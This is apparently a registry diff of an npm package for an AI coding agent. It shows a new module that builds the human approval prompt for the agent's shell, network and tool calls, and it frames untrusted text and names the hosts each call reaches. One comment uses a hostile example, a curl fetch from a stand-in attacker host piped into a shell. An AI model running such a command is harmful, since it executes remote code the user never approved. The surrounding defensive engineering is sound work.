@gaunt-sloth/core 2.0.0-beta.0 → 2.0.0-beta.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (90) hide show
  1. package/LICENSE +6 -6
  2. package/dist/config/loader.d.ts +13 -0
  3. package/dist/config/loader.js +55 -11
  4. package/dist/config/loader.js.map +1 -1
  5. package/dist/config/schema.d.ts +10 -0
  6. package/dist/config/schema.js +46 -24
  7. package/dist/config/schema.js.map +1 -1
  8. package/dist/config/shell-policy.d.ts +142 -1
  9. package/dist/config/shell-policy.js +114 -7
  10. package/dist/config/shell-policy.js.map +1 -1
  11. package/dist/config/types.d.ts +19 -0
  12. package/dist/config/types.js.map +1 -1
  13. package/dist/constants.d.ts +10 -0
  14. package/dist/constants.js +10 -0
  15. package/dist/constants.js.map +1 -1
  16. package/dist/core/GthAbstractAgent.d.ts +31 -0
  17. package/dist/core/GthAbstractAgent.js +159 -4
  18. package/dist/core/GthAbstractAgent.js.map +1 -1
  19. package/dist/core/GthAgentRunner.d.ts +314 -18
  20. package/dist/core/GthAgentRunner.js +1032 -101
  21. package/dist/core/GthAgentRunner.js.map +1 -1
  22. package/dist/core/approvals/approvalRequest.d.ts +247 -0
  23. package/dist/core/approvals/approvalRequest.js +315 -0
  24. package/dist/core/approvals/approvalRequest.js.map +1 -0
  25. package/dist/core/approvals/grants.d.ts +165 -9
  26. package/dist/core/approvals/grants.js +702 -57
  27. package/dist/core/approvals/grants.js.map +1 -1
  28. package/dist/core/plainToolIndication.d.ts +11 -1
  29. package/dist/core/plainToolIndication.js +25 -10
  30. package/dist/core/plainToolIndication.js.map +1 -1
  31. package/dist/core/shell/abstention.d.ts +1 -1
  32. package/dist/core/shell/abstention.js +65 -11
  33. package/dist/core/shell/abstention.js.map +1 -1
  34. package/dist/core/shell/alignment.d.ts +491 -0
  35. package/dist/core/shell/alignment.js +687 -0
  36. package/dist/core/shell/alignment.js.map +1 -0
  37. package/dist/core/shell/approvalCapture.d.ts +53 -41
  38. package/dist/core/shell/approvalCapture.js +0 -42
  39. package/dist/core/shell/approvalCapture.js.map +1 -1
  40. package/dist/core/shell/approvalStop.d.ts +121 -3
  41. package/dist/core/shell/approvalStop.js +153 -90
  42. package/dist/core/shell/approvalStop.js.map +1 -1
  43. package/dist/core/shell/hardline.d.ts +26 -4
  44. package/dist/core/shell/hardline.js +321 -16
  45. package/dist/core/shell/hardline.js.map +1 -1
  46. package/dist/core/shell/negotiation.d.ts +352 -63
  47. package/dist/core/shell/negotiation.js +295 -123
  48. package/dist/core/shell/negotiation.js.map +1 -1
  49. package/dist/core/shell/openWorld.d.ts +135 -0
  50. package/dist/core/shell/openWorld.js +572 -35
  51. package/dist/core/shell/openWorld.js.map +1 -1
  52. package/dist/core/shell/provenance.d.ts +91 -0
  53. package/dist/core/shell/provenance.js +136 -0
  54. package/dist/core/shell/provenance.js.map +1 -0
  55. package/dist/core/shell/rater.d.ts +394 -163
  56. package/dist/core/shell/rater.js +536 -238
  57. package/dist/core/shell/rater.js.map +1 -1
  58. package/dist/core/shell/raterHealth.d.ts +101 -0
  59. package/dist/core/shell/raterHealth.js +121 -0
  60. package/dist/core/shell/raterHealth.js.map +1 -0
  61. package/dist/core/shell/raterModel.d.ts +17 -8
  62. package/dist/core/shell/raterModel.js +11 -8
  63. package/dist/core/shell/raterModel.js.map +1 -1
  64. package/dist/core/shell/rejection.d.ts +20 -5
  65. package/dist/core/shell/rejection.js +18 -4
  66. package/dist/core/shell/rejection.js.map +1 -1
  67. package/dist/core/toolDisplay.d.ts +42 -0
  68. package/dist/core/toolDisplay.js +31 -0
  69. package/dist/core/toolDisplay.js.map +1 -1
  70. package/dist/core/types.d.ts +134 -16
  71. package/dist/core/types.js.map +1 -1
  72. package/dist/providers/configurationPassthrough.d.ts +36 -6
  73. package/dist/providers/configurationPassthrough.js +40 -28
  74. package/dist/providers/configurationPassthrough.js.map +1 -1
  75. package/dist/providers/openrouter.js +36 -6
  76. package/dist/providers/openrouter.js.map +1 -1
  77. package/dist/providers/vertexai.js +21 -0
  78. package/dist/providers/vertexai.js.map +1 -1
  79. package/dist/utils/binaryOutputUtils.js +103 -21
  80. package/dist/utils/binaryOutputUtils.js.map +1 -1
  81. package/dist/utils/fileUtils.d.ts +7 -1
  82. package/dist/utils/fileUtils.js +17 -3
  83. package/dist/utils/fileUtils.js.map +1 -1
  84. package/dist/utils/globalConfigUtils.d.ts +5 -2
  85. package/dist/utils/globalConfigUtils.js +14 -3
  86. package/dist/utils/globalConfigUtils.js.map +1 -1
  87. package/dist/utils/vertexaiUtils.js +61 -3
  88. package/dist/utils/vertexaiUtils.js.map +1 -1
  89. package/package.json +4 -4
  90. package/schema/gsloth-config.schema.json +34 -0
@@ -0,0 +1,315 @@
1
+ import { approvalPromptHeader } from '#src/core/approvals/promptHeader.js';
2
+ import { toolCallHosts } from '#src/core/approvals/toolHost.js';
3
+ import { describeRaterOutcome, RATER_REASON_LABEL, } from '#src/core/shell/escalationSeverity.js';
4
+ import { frameUntrustedCommand, frameUntrustedText, frameWidthFor, narrowTerminalNotice, STICKY_PREVIEW_MAX_ROWS, } from '#src/core/shell/framing.js';
5
+ import { renderNegotiationRows } from '#src/core/shell/negotiation.js';
6
+ import { findComposedOpenWorld, findOpenWorldHostLiterals } from '#src/core/shell/openWorld.js';
7
+ /**
8
+ * The category sentence per {@link ApprovalCategory} — the only model of what the fixed block's
9
+ * second line may say.
10
+ *
11
+ * Each names the class of action rather than the action: *a shell command*, not the command. That
12
+ * is what makes them un-paddable, and it is also what makes them useful — a reader who sees the
13
+ * same four sentences over a session learns them, which a sentence built from the call never
14
+ * allows.
15
+ *
16
+ * The `network` line says the host is one the reader has not approved because that is what having
17
+ * reached a human means: a host the user named themselves is carved out of the open-world floor
18
+ * (§4.6) and a host on the allow-list never reaches this prompt at all.
19
+ */
20
+ export const APPROVAL_CATEGORY_LINES = Object.freeze({
21
+ shell: 'It wants to run a shell command on this machine.',
22
+ network: 'It wants to reach a host over the network that you have not approved.',
23
+ mcpTool: 'It wants to call a tool on an MCP server.',
24
+ tool: 'It wants to use one of its own tools.',
25
+ });
26
+ /**
27
+ * The constant first line of the fixed block: Gaunt Sloth is asking, and an answer is what unblocks
28
+ * it.
29
+ *
30
+ * It names the product rather than "the agent" deliberately. This line is the one the eye lands on
31
+ * when a prompt appears under whatever the user was reading, and the fact worth carrying there is
32
+ * *which program on this terminal has stopped and is waiting for you*.
33
+ */
34
+ export const APPROVAL_ASK_LINE = '⚠ Gaunt Sloth is asking you to approve a call.';
35
+ /**
36
+ * The constant third line of the fixed block on a surface whose conversation SCROLLS: where the
37
+ * call itself went.
38
+ *
39
+ * Only the Ink TUI uses it. The readline surface prints the request block and the fixed lines in
40
+ * one linear run, where "above, in the conversation" would point at nothing in particular.
41
+ */
42
+ export const APPROVAL_DETAILS_ABOVE_LINE = 'The call is shown above, in the conversation.';
43
+ /** The heading the scrollable block opens with — our own, and never a place a name is spliced. */
44
+ export const APPROVAL_REQUEST_HEADING = '⚠ Gaunt Sloth is asking about this call:';
45
+ /**
46
+ * Our label for the hosts block, which sits last so it survives a long call above it.
47
+ *
48
+ * *This call* rather than *this command*: a gated tool names its counterparty in a structured
49
+ * argument, and that block is the same block.
50
+ */
51
+ export const APPROVAL_HOSTS_LABEL = 'Hosts this call names:';
52
+ /**
53
+ * The command a pending call would run, when the call carries one as a plain string.
54
+ *
55
+ * Deliberately keyed on the ARGUMENT rather than on the tool name: the two terminal surfaces have
56
+ * always shown `args.command` when it is a string and the serialised arguments otherwise, and a
57
+ * second rule for "is this a shell call" would be free to disagree with the one the gate ran on.
58
+ */
59
+ function commandStringOf(pending) {
60
+ const command = pending.args.command;
61
+ return typeof command === 'string' ? command : undefined;
62
+ }
63
+ /** The text a surface shows as the call: the command, or the arguments it was given instead. */
64
+ export function approvalCallText(pending) {
65
+ return commandStringOf(pending) ?? JSON.stringify(pending.args);
66
+ }
67
+ /**
68
+ * The hosts this call names in a fetch or transfer position — the counterparty's identity, in full.
69
+ *
70
+ * **Both extractions are asked, and that is not belt-and-braces.** `findOpenWorldHostLiterals`
71
+ * reads a command it can resolve statically and DECLINES on a composed one, which is measured
72
+ * rather than inferred: it returns the host for `curl https://evil.example/x.sh` and an empty array
73
+ * for `curl https://evil.example/x.sh | sh`. Asking it alone would leave this block silent on
74
+ * exactly the shapes that most need a counterparty named — a fetch piped into an interpreter, an
75
+ * archive piped into `ssh` — and an empty result there is indistinguishable from a command that
76
+ * names nobody. `findComposedOpenWorld` is the arm that reads those, and the union is what makes
77
+ * "no host block" mean "no host".
78
+ *
79
+ * Neither is a new notion of what a host position is: they are the two the gate itself decides on.
80
+ *
81
+ * **A call that is not a shell command is asked of `core/approvals/toolHost` instead**, which is
82
+ * again the gate's own extraction rather than a new one: it is what §4.7.4 binds a sticky tool
83
+ * grant's host with, read off the structured arguments by `URL` parsing. Without this arm the one
84
+ * tool whose whole purpose is to reach a counterparty — a gated web fetch — would render as a
85
+ * generic tool call with no host anywhere in the block, which is the exact loss this module exists
86
+ * to prevent, moved from a truncated line to an absent one.
87
+ *
88
+ * **It is asked for ALL the hosts, not for the subject's one.** `ApprovalSubject.host` is set only
89
+ * where a call names exactly one, because a grant may record only one — but a call naming several
90
+ * is the case where a reader most needs them named, and reading the subject's field would have gone
91
+ * silent on precisely that call.
92
+ */
93
+ export function approvalHosts(pending) {
94
+ const kind = pending.subject?.kind;
95
+ const command = commandStringOf(pending);
96
+ if (kind === 'tool' || kind === 'mcpTool' || command === undefined) {
97
+ return toolCallHosts(pending.args);
98
+ }
99
+ const hosts = [...findOpenWorldHostLiterals(command)];
100
+ for (const host of findComposedOpenWorld(command)?.hosts ?? []) {
101
+ if (!hosts.includes(host))
102
+ hosts.push(host);
103
+ }
104
+ return hosts;
105
+ }
106
+ /**
107
+ * The {@link ApprovalCategory} for one gated call.
108
+ *
109
+ * The branch reads the subject the GATE decided on (`core/approvals/matcher`'s `ApprovalSubject`),
110
+ * so this is not a second classifier — `promptHeader` makes the same argument for the same reason.
111
+ * The one thing it adds is the `network` arm, which asks the same host extractions the gate itself
112
+ * ran ({@link approvalHosts}).
113
+ *
114
+ * **A named counterparty outranks the kind of call that names it, whatever the kind.** A fetch is
115
+ * the class where the host and not the verb is what the human is really ruling on, and that is as
116
+ * true of a gated web-fetch tool or an MCP tool handed a URL as it is of `curl` — the reader's
117
+ * question is *who is it talking to*, and answering it with *one of its own tools* buries the part
118
+ * that decides the answer. The kinds are what a call falls back to when it names nobody.
119
+ *
120
+ * **The two host extractions have deliberately different appetites, and the `network` arm inherits
121
+ * both.** A shell command's hosts come from a FETCH-POSITION analysis, so `echo https://x` names
122
+ * nobody; a tool's come from `core/approvals/toolHost`, whose whole test is *does this argument
123
+ * parse as a URL* — so writing a file whose entire content is a bare URL reads as `network` here.
124
+ * That over-detection is `toolHost`'s stated design (a value it fails to recognise costs a broader
125
+ * grant, never a narrower one) and this arm keeps it rather than second-guessing the extraction the
126
+ * grant is bound with. It errs toward the more alarming of two true sentences about a call that
127
+ * does carry a URL, which is the direction to err in.
128
+ *
129
+ * **A call with no subject falls to `tool` when it names nobody** — `promptHeader`'s fail-to-vague:
130
+ * a surface handed a hand-built interrupt gets the unspecific category rather than a specific one
131
+ * nothing established. It still reaches `network` where a host is named, since that arm reads the
132
+ * call rather than the subject.
133
+ */
134
+ export function approvalCategoryFor(pending) {
135
+ if (approvalHosts(pending).length > 0)
136
+ return 'network';
137
+ if (pending.subject?.kind === 'shell')
138
+ return 'shell';
139
+ if (pending.subject?.kind === 'mcpTool')
140
+ return 'mcpTool';
141
+ return 'tool';
142
+ }
143
+ /** The fixed block's category line: one of {@link APPROVAL_CATEGORY_LINES}, and nothing else. */
144
+ export function approvalCategoryLine(pending) {
145
+ return APPROVAL_CATEGORY_LINES[approvalCategoryFor(pending)];
146
+ }
147
+ /** An escalation severity in this module's tones. The three names line up one for one. */
148
+ function severityTone(tone) {
149
+ return tone === 'danger' ? 'danger' : tone === 'warn' ? 'warn' : 'info';
150
+ }
151
+ /**
152
+ * A negotiation row's §5.4 voice in this module's tones.
153
+ *
154
+ * The rater's turns are `warn` because the human is ruling on an argument and an exchange painted
155
+ * in one colour asks them to work out who said what first. The agent's are `plain` and the
156
+ * renderer's own chrome is `chrome`, which is what both dialogs already did.
157
+ */
158
+ function negotiationTone(voice) {
159
+ if (voice === 'rater')
160
+ return 'warn';
161
+ if (voice === 'chrome')
162
+ return 'chrome';
163
+ return 'plain';
164
+ }
165
+ /**
166
+ * The scrollable half of one approval request, as terminal rows.
167
+ *
168
+ * Every row is painted **verbatim, one row per line, and never re-wrapped** — the condition
169
+ * `core/shell/framing` states its column-0 guarantee over. A caller that joins these and hands them
170
+ * to something that wraps has undone the gutter.
171
+ *
172
+ * `columns` is what the surface reports (`stdout.columns`), resolved through `frameWidthFor` here
173
+ * so no two surfaces can disagree about how much of a command a human was shown. Below core's floor
174
+ * the frame is wider than the terminal and the guarantee lapses; `narrowTerminalNotice` leads the
175
+ * block in that case, so it lapses out loud.
176
+ *
177
+ * The order, top to bottom, and the reason for its two ends:
178
+ *
179
+ * 1. our heading and the category — the same category the fixed block names, so the two halves are
180
+ * visibly one request;
181
+ * 2. the rating, the `approvals.escalate` entry that fired, the §5 negotiation, and what a sticky
182
+ * answer would store — the EXPLANATION, which is the half that may be long and is the half that
183
+ * may scroll away;
184
+ * 3. what is being called, then the command;
185
+ * 4. the hosts, LAST.
186
+ */
187
+ export function approvalRequestRows(pending, options) {
188
+ const width = frameWidthFor(options?.columns);
189
+ const rows = [];
190
+ const push = (tone, text) => {
191
+ rows.push({ tone, text });
192
+ };
193
+ const tooNarrow = narrowTerminalNotice(options?.columns);
194
+ if (tooNarrow)
195
+ push('warn', tooNarrow);
196
+ push('warn', APPROVAL_REQUEST_HEADING);
197
+ push('warn', approvalCategoryLine(pending));
198
+ // The rating, whenever one exists. §6 makes the explanation mandatory wherever there is one; at
199
+ // the unrated rungs there is none and the block shows the call alone. The heading is the gate's
200
+ // own sentence — the outcome and what it MEANS for undoing the call — so the severity survives a
201
+ // terminal with no colour. The reason under it is model-authored prose and is framed exactly like
202
+ // the command: protecting one and not the other would leave the block forgeable through the
203
+ // string that is meant to explain it.
204
+ if (pending.safetyVerdict) {
205
+ const severity = describeRaterOutcome(pending.safetyVerdict.outcome);
206
+ const tone = severityTone(severity.tone);
207
+ push(tone, severity.heading);
208
+ // The attribution has to be said rather than implied, now that the line above it is ours.
209
+ push('chrome', RATER_REASON_LABEL);
210
+ for (const line of frameUntrustedText(pending.safetyVerdict.reason, { width }).lines) {
211
+ push(tone, line);
212
+ }
213
+ }
214
+ // EXT-71 §3.2 — the declared `approvals.escalate` entry that brought this call here. Without it
215
+ // the user is asked about a call their own rung would have approved, with nothing tying the
216
+ // question to the line they wrote, which reads as the gate malfunctioning rather than as their
217
+ // rule working. Framed rather than interpolated: an MCP entry can carry server-supplied names.
218
+ if (pending.escalatedBy) {
219
+ push('warn', '⚠ Your approvals.escalate list matched this call:');
220
+ for (const line of frameUntrustedText(pending.escalatedBy, { width }).lines)
221
+ push('warn', line);
222
+ }
223
+ // [[EXT-29]] §6 — the whole §5 negotiation, when one preceded this. That the agent proposed the
224
+ // same command three times against two rejections that each told it what to fix is the most
225
+ // important thing here, and a block showing the final attempt alone asks the user to rule on a
226
+ // command when the decision they actually have is about an argument.
227
+ for (const row of renderNegotiationRows(pending.negotiationRounds ?? [], {
228
+ width,
229
+ ...(pending.negotiationAttempts !== undefined ? { attempts: pending.negotiationAttempts } : {}),
230
+ })) {
231
+ push(negotiationTone(row.voice), row.text);
232
+ }
233
+ // EXT-71/EXT-70 §6 — what a sticky answer would store, at the moment of the choice and in the
234
+ // words the control is written in. Absent means the control is not offered at all.
235
+ //
236
+ // Still bounded to a few rows even here, where nothing scrolls off the bottom: these carry the
237
+ // command as typed and the entry repeats it, so an unbounded copy would print a long command
238
+ // three times over in one block for no gain over the framed copy below.
239
+ if (pending.grantPreview !== undefined) {
240
+ push('chrome', '[s]/[a] will remember:');
241
+ for (const line of frameUntrustedText(pending.grantSummary ?? pending.grantPreview, {
242
+ width,
243
+ maxRows: STICKY_PREVIEW_MAX_ROWS,
244
+ }).lines) {
245
+ push('aside', line);
246
+ }
247
+ push('chrome', ' stored as:');
248
+ for (const line of frameUntrustedText(pending.grantPreview, {
249
+ width,
250
+ maxRows: STICKY_PREVIEW_MAX_ROWS,
251
+ }).lines) {
252
+ push('aside', line);
253
+ }
254
+ }
255
+ // §6 — the deny mirror, and a DIFFERENT condition: the matcher's rule is *undecidable → no match
256
+ // on the allow side, a match on the deny side*, so a call the gate cannot statically resolve can
257
+ // be refused for good though it can never be approved for one. `recorded as:` rather than a
258
+ // second `stored as:` — one block with two labels that read alike is one a reader loses their
259
+ // place in.
260
+ if (pending.denyPreview !== undefined) {
261
+ push('chrome', '[d] will refuse this exact call, and save it to this project:');
262
+ for (const line of frameUntrustedText(pending.denySummary ?? pending.denyPreview, {
263
+ width,
264
+ maxRows: STICKY_PREVIEW_MAX_ROWS,
265
+ }).lines) {
266
+ push('aside', line);
267
+ }
268
+ push('chrome', ' recorded as:');
269
+ for (const line of frameUntrustedText(pending.denyPreview, {
270
+ width,
271
+ maxRows: STICKY_PREVIEW_MAX_ROWS,
272
+ }).lines) {
273
+ push('aside', line);
274
+ }
275
+ }
276
+ // [[TUI-C67]] — WHAT is being called, in core's one sentence, branched on the subject kind the
277
+ // gate itself decided on. It sits down here rather than at the top because it is identity rather
278
+ // than explanation, and identity is what has to survive a long block above it.
279
+ push('warn', `${approvalPromptHeader(pending)}:`);
280
+ // The call itself. Framed with the site extraction, which is what puts a command's substitution
281
+ // and composition boundaries — the decision-relevant positions in it — above the body.
282
+ const framedCall = frameUntrustedCommand(approvalCallText(pending), { width });
283
+ for (const notice of framedCall.notices)
284
+ push('warn', notice);
285
+ for (const line of framedCall.lines)
286
+ push('quoted', line);
287
+ // The counterparties, LAST. See this module's header for why this block and not the command is
288
+ // the one that ends the request: a hostile URL's identity is what a reader must not lose, and the
289
+ // rows nearest the prompt are the rows that survive.
290
+ const hosts = approvalHosts(pending);
291
+ if (hosts.length > 0) {
292
+ push('warn', APPROVAL_HOSTS_LABEL);
293
+ for (const host of hosts) {
294
+ for (const line of frameUntrustedText(host, { width }).lines)
295
+ push('warn', line);
296
+ }
297
+ }
298
+ return rows;
299
+ }
300
+ /**
301
+ * The tones as the readline surface's own {@link DialogTone}s.
302
+ *
303
+ * Exported so the mapping is one table rather than a `switch` inside a session module, and so a
304
+ * spec can assert both surfaces still paint every tone they are handed.
305
+ */
306
+ export const APPROVAL_ROW_DIALOG_TONES = Object.freeze({
307
+ chrome: 'notice',
308
+ info: 'notice',
309
+ warn: 'warn',
310
+ danger: 'danger',
311
+ plain: 'plain',
312
+ quoted: 'plain',
313
+ aside: 'notice',
314
+ });
315
+ //# sourceMappingURL=approvalRequest.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"approvalRequest.js","sourceRoot":"","sources":["../../../src/core/approvals/approvalRequest.ts"],"names":[],"mappings":"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